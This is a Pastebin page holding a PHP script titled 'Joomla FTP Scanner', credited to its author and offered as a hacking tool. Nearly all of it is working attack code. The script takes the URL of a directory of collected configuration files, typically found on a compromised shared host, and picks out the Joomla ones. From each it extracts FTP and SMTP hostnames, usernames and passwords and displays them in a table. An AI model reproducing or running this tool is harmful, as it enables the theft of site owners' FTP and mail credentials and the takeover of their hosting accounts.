Advertisement
Pain_R

Joomla FTP Scanner

May 1st, 2014
582
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.65 KB | None | 0 0
  1. <?
  2. echo'<html>';
  3. echo'<title>Joomla FTP Scanner</title>';
  4. echo"<body bgcolor='black'>";
  5. echo'<center>';
  6. echo"<font color='green' face='courier new'>";
  7. echo'<h1><b>[JOOMLA FTP and SMTP CONFIG SCANNER]</b></h1>';
  8. echo'<FORM action="" method="post">';
  9. echo'<input type="hidden" name="form_action" value="1">';
  10. echo'<table border=1>';
  11. echo'<tr><td><font color="green" face="courier new">URL OF THE CONFIG FILES DIRECTORY</font></td><td><input type="text" size="60" style="background-color: black; color: red; font-size: 15px; font-family: courier new;" name="url" value="http://site.com/"></td></tr>';
  12. echo'</table>';
  13. echo"<br>";
  14. echo'<INPUT class=submit type="submit" value="[SUBMIT]" style="background-color: black; color: blue; font-size: 20px; font-family: courier new; name="Submit">';
  15. echo'</FORM>';
  16. echo'</font>';
  17. echo'</center>';
  18. echo'</body>';
  19. echo'</html>';
  20.  
  21.  
  22.  
  23. if (array_key_exists('form_action', $_POST)){
  24. echo('<center>');
  25. echo "<font color='white' face='courier new'>";
  26.  
  27. echo "[+] Getting Config URL From ".$_POST['url'];
  28. $url1=file_get_contents($_POST['url']);
  29. $ar = explode('<li><a href="', $url1);
  30. for($vi=2;$vi < count($ar);$vi++)
  31. {
  32.  
  33. $var1 = strtok($ar[$vi], " ");
  34. $var1 = substr($var1,0,-2);
  35. $link = $url1.$var1;
  36. $filename = 'jftp.txt';
  37. $fp = fopen($filename, "a+");
  38. $write = fputs($fp, $var1."\n");
  39. fclose($fp);
  40. }
  41. echo "<br>";
  42. echo "[+] Collected All Config Names";
  43. echo "<br>";
  44. echo "[+]Seperating Joomla Configs";
  45. echo "<br>";
  46. $joomconfigs=file('jftp.txt');
  47. ini_set("display_errors", "0");
  48. set_time_limit(0);
  49. foreach ($joomconfigs as $joomconfig) {
  50. $pos = strpos($joomconfig,"oomla");
  51. if($pos === false) {
  52. $filename = 'others.txt';
  53. $fp = fopen($filename, "a+");
  54. $write = fputs($fp, $joomconfig."\n");
  55. fclose($fp);
  56. }
  57. else {
  58. $filename = 'joomla.txt';
  59. $fp = fopen($filename, "a+");
  60. $write = fputs($fp, $joomconfig."\n");
  61. fclose($fp);
  62. }
  63. }
  64. unlink ('jftp.txt');
  65. unlink ('others.txt');
  66. echo "[+] Joomla Configs Seperated";
  67. echo "<br>";
  68. echo "[+] Scanning JOOMLA FTP Credentials";
  69. echo "<br>";
  70. echo ("<center><table border=1 cellspacing=1 cellpading=1>
  71. <tr><th width='400'><font color='red' face='courier new'>SMTP DETAILS</font></th><th width=200><font color='red' face='courier new'>FTP HOST</font></th> <th width=150><font color='red' face='courier new'>FTP USERNAME</font></td><th width=150><font color='red' face='courier new'>FTP PASSWORD</font></td><th width=100><font color='red' face='courier new'>ENABLED</font></td></tr>");
  72.  
  73. $getconfig=file('joomla.txt');
  74. foreach ($getconfig as $gconfig) {
  75. $strlengconfig=strlen($gconfig);
  76. if ($strlengconfig > 2) {
  77. $urltoconfig=$_POST['url']."/".$gconfig;
  78. $getconfig=file_get_contents($urltoconfig);
  79. $ftphost=entre2v2($getconfig,"ftp_host = '","';");
  80. $ftpuser=entre2v2($getconfig,"ftp_user = '","';");
  81. $ftppass=entre2v2($getconfig,"ftp_pass = '","';");
  82. $ftpenable=entre2v2($getconfig,"ftp_enable = '","';");
  83. $smtpuser=entre2v2($getconfig,"smtpuser = '","';");
  84. $smtppass=entre2v2($getconfig,"smtppass = '","';");
  85. $smtphost=entre2v2($getconfig,"smtphost = '","';");
  86. $smtpport=entre2v2($getconfig,"smtpport = '","';");
  87.  
  88. if ($ftpenable==1){
  89. $ftpenabled="YES";
  90. echo "<center><table border=1 cellspacing=1 cellpading=1>
  91. <tr><td width='400'><font color='green' face='courier new' > host=$smtphost <br> port=$smtpport <br> user=$smtpuser <br> pass=$smtppass <br> </font></td><td width=200><font color='green' face='courier new' > $ftphost </font></td><td width=150><font color='green' face='courier new'> $ftpuser<font></td><td width=150><font color='green' face='courier new'> $ftppass</font></td><td width=100><font color='green' face='courier new'> $ftpenabled </font></td></tr></table></center>";
  92. }
  93. else {
  94. $ftpenabled="NO";
  95. echo "<center><table border=1 cellspacing=1 cellpading=1>
  96. <tr><td width='400'><font color='green' face='courier new' > host=$smtphost <br> port=$smtpport <br> user=$smtpuser <br> pass=$smtppass <br></font></td><td width=200><font color='green' face='courier new' > $ftphost </font></td><td width=150><font color='green' face='courier new'> $ftpuser<font></td><td width=150><font color='green' face='courier new'> $ftppass</font></td><td width=100><font color='red' face='courier new'> $ftpenabled </font></td></tr></table></center>";
  97. }
  98. }
  99. }
  100.  
  101. echo"</font>";
  102. echo('</center>');
  103. unlink ('joomla.txt');
  104. }
  105. echo'<center>';
  106. echo"<font face='courier new' color='red'>";
  107. echo'<h2>[coded by FORCE EX]</h2>';
  108. echo'<h4>[forc3_x@yahoo.com]</h4>';
  109. echo'</font>';
  110. echo'</center>';
  111. function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
  112. $ar0=explode($marqueurDebutLien, $text);
  113. $ar1=explode($marqueurFinLien, $ar0[$i]);
  114. return trim($ar1[0]);
  115. }
  116.  
  117. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement